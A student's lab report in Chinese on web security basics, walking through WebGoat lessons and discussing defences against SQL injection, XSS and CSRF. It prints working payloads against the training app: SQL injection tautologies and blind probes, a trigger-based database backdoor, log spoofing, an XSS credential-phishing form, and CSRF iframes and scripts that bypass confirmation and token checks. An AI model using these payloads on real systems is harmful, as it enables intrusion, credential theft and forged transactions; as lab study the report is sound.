1. 程式人生 > >20154312 曾林 EXP9 Web安全基礎

20154312 曾林 EXP9 Web安全基礎

cap 查詢 where onf search sql語句 doc 相關 打開

目錄

-0.webgoat Could not find source file

-1.基礎問題回答
-2.環境配置
-3.Injection Flaws
----3.1.Numeric SQL Injection
----3.2.Log Spoofing
----3.3.XPATH Injection
----3.4.String SQL Injection
----3.5.LAB: SQL Injection
----3.6.Database Backdoors
----3.7.Blind Numeric SQL Injection
----3.8.Blind String SQL Injection
-4.Cross-Site Scripting (XSS)
----4.1.Phishing with XSS
----4.2.Stored XSS Attacks
----4.3.Reflected XSS Attacks
-5.CSRF
----5.1.Cross Site Request Forgery(CSRF)
----5.2.CSRF Prompt By-Pass
----5.3.CSRF Token By-Pass
-6.實驗總結與體會

webgoat Could not find source file

  • 推測問題出在JDK版本上

  • 先確認Kali的JDK版本

技術分享圖片

  • "9.0.4"這個版本對於WebGoat7.1來說過高了,我們只要把JDK換成1.8就i行了

  • 參照教程按步驟一步一步來即可

基礎問題回答

(1)SQL註入攻擊原理,如何防禦

  • 原理:所謂SQL註入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或作為存儲過程的輸入參數,這類表單特別容易受到SQL註入式攻擊。
  • 防禦:
  • 永遠不要信任用戶的輸入。對用戶的輸入進行校驗,可以通過正則表達式,或限制長度;對單引號和雙"-"進行轉換等。
  • 永遠不要使用動態拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。
  • 永遠不要使用管理員權限的數據庫連接,為每個應用使用單獨的權限有限的數據庫連接。
  • 不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
  • 應用的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝
  • sql註入的檢測方法一般采取輔助軟件或網站平臺來檢測,軟件一般采用sql註入檢測工具jsky,網站平臺就有億思網站安全平臺檢測工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防禦SQL註入,XSS攻擊等。

(2)XSS攻擊的原理,如何防禦

  • 原理:XSS攻擊全稱跨站腳本攻擊,是為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS,XSS是一種在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。
  • 防禦:
  • 基於特征的防禦:統XSS防禦多采用特征匹配方式,在所有提交的信息中都進行匹配檢查。對於這種類型的XSS攻擊,采用的模式匹配方法一般會需要對“javascript”這個關鍵字進行檢索,一旦發現提交信息中包含“javascript”,就認定為XSS攻擊
  • 基於代碼修改的防禦:和SQL註入防禦一樣,XSS攻擊也是利用了Web頁面的編寫疏忽,所以還有一種方法就是從Web應用開發的角度來避免:
    • 對所有用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST數據等,僅接受指定長度範圍內、采用適當格式、采用所預期的字符的內容提交,對其他的一律過濾。
    • 實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行。
    • 確認接收的的內容被妥善的規範化,僅包含最小的、安全的Tag(沒有javascript),去掉任何對遠程內容的引用(尤其是樣式表和javascript),使用HTTP only的cookie。

(3)CSRF攻擊原理,如何防禦

  • 原理:CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防範的資源也相當稀少)和難以防範,所以被認為比XSS更具危險性。
  • 防禦:
  • 對於web站點,將持久化的授權方法(例如cookie或者HTTP授權)切換為瞬時的授權方法(在每個form中提供隱藏field),這將幫助網站防止這些攻擊。一種類似的方式是在form中包含秘密信息、用戶指定的代號作為cookie之外的驗證。
  • “雙提交”cookie。此方法只工作於Ajax請求,但它能夠作為無需改變大量form的全局修正方法。如果某個授權的cookie在form post之前正被JavaScript代碼讀取,那麽限制跨域規則將被應用。如果服務器需要在Post請求體或者URL中包含授權cookie的請求,那麽這個請求必須來自於受信任的域,因為其它域是不能從信任域讀取cookie的。

環境配置

  • 將webgoat的java包下載好之後,使用命令

java -jar webgoat-server-8.0.0.M14.jar運行WebGoat

技術分享圖片

  • 使用瀏覽器打開http://localhost:8080/WebGoat,進入WebGoat

Injection Flaws

Numeric SQL Injection

  • F12打開瀏覽器調試模式,通過修改該,Columbia對應值,使得最後傳回去的SQL語句變為
SELECT * FROM weather_data WHERE station = 101 OR 1=1
  • 1=1恒成立,即可看到所有城市天氣

技術分享圖片

Log Spoofing

  • 日誌偽造,,在Username輸入
zh%0d%0aLogin Succeeded for username: admin
  • %0d和%0a為換行符,這樣就就偽造了內容為Login Succeeded for username: admin的日誌
    技術分享圖片

XPATH Injection

  • 直接構造永真式
20154312‘ or 1=1 or ‘a‘=‘a

技術分享圖片

String SQL Injection

  • 構造一個永真式註入
zenglin‘ or ‘1‘=‘1
  • SQL語句變為
SELECT * FROM user_data WHERE last_name = ‘zenglin‘ OR ‘1‘=‘1‘

技術分享圖片

LAB: SQL Injection

Stage1:String SQL Injection

  • 這一題就一點小問題,輸入框限制了MaxLength,把MaxLength改為一個合適大小之後,修改password=‘ or‘1‘=‘1,done

技術分享圖片

Stage3:Numeric SQL Injection

  • 和Stage1一樣,構造永真式登陸賬戶,登陸之後修改employee_id參數修改為101 or 1=1 order by salary desc

技術分享圖片

Database Backdoors

  • 思路就是利用SQL語句註入一個後門,具體操作就是用;將原本填入文本框的語句變為兩條SQL語句,實現註入後門的目的

  • 先在User ID輸入框輸入101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘WHERE userid = NEW.userid.這樣就實現了傳入SQL語句CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘WHERE userid = NEW.userid.實現的功能就是創建新用戶時,會自動將email選項填充為我指定的郵箱

技術分享圖片

Blind Numeric SQL Injection

  • 盲註,顧名思義就是啥都不知道瞎註,主要是看反饋信息來調整我們的輸入來實現SQL註入的效果
  • 數字盲註,在Enter your Account Number輸入101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );

  • 根據返回的提示來判斷“(SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000"通過二分法縮小範圍,最後用2364提交成功

技術分享圖片

Blind String SQL Injection

  • 相同思路,只不過這個是字符串盲註,在Enter your Account Number輸入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4312431243124312‘), 1, 1) = ‘h‘ );根據返回提示判斷name,最後輸入JiLL,爆破成功

技術分享圖片

Cross-Site Scripting (XSS)

Phishing with XSS

  • XSS+HTML寫一個簡單的帶表單網站,直接將下面的代碼放入輸入框,Enter,出現一個登陸框,輸入UsernamePassword之後會彈窗相關信息
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br><br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

技術分享圖片

LAB:Cross Site Scripting

Stage1:

  • 登陸後,點擊View profile後,在Street字段輸入以下代碼:<script>alert("20154327");</script>

技術分享圖片

Stage3:

  • 使用“David”登錄,然後查看“Bruce”的信息,即可執行之前存儲好的跨站攻擊腳本

Stage5:執行一個反射XSS攻擊

  • 登陸後在Search Staff中輸入“”
    技術分享圖片

Stored XSS Attacks

  • 存儲式XSS攻擊,也是最經典的,用過將腳本語句放入留言框存儲起來,進行攻擊

  • 本題直接在Title裏輸入任意信息,在 Message裏輸<script>alert("20154327yangzhenghui!");</script>

  • 再點擊留言板內容

技術分享圖片

Reflected XSS Attacks

  • 反射XSS攻擊中,利用腳本制造一個URL提交到另外一個網站,實現攻擊,直接在Enter ur three digit access code中輸入腳本,實現攻擊

技術分享圖片

CSRF

Cross Site Request Forgery(CSRF)

  • 這是一個發送郵件的頁面,我們只需要在Title輸入任意信息,在Message輸入:<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />點擊SubmitMessage List就會出現一條提交的記錄

技術分享圖片

CSRF Prompt By-Pass

  • 一樣的思路,Title輸入任意信息 ,Message輸入:
<iframe
    src="attack?Screen=280&menu=900&transferFunds=5000"
    id="myFrame" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"
    onload="document.getElementById(‘frame2‘).src=‘attack?Screen=280&menu=900&transferFunds=CONFIRM‘;">
</iframe>
 <iframe
    id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300">
</iframe>

技術分享圖片

技術分享圖片

CSRF Token By-Pass

  • 還是相同的思路,Title輸入任意信息,在Message輸入代碼,submit
<script>
    var tokensuffix;
     
    function readFrame1()
    {
        var frameDoc = document.getElementById("frame1").contentDocument;
        var form = frameDoc.getElementsByTagName("form")[0];
        tokensuffix = ‘&CSRFToken=‘ + form.CSRFToken.value;
     
        loadFrame2();
    }
     
    function loadFrame2()
    {
        var testFrame = document.getElementById("frame2");
        testFrame.src="attack?Screen=273&menu=900&transferFunds=5000" + tokensuffix;
    }
</script>
 
<iframe src="attack?Screen=273&menu=900&transferFunds=main"
    onload="readFrame1();"
    id="frame1" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"></iframe>
 
<iframe id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"></iframe>

技術分享圖片

實驗總結與體會

這是最後一次實驗了,實驗會結束,但是我大概是看不到互聯網上的網絡攻防結束的那一天,很感謝老師,讓我有機會享受一門很純粹的技術課程。謝謝!

20154312 曾林 EXP9 Web安全基礎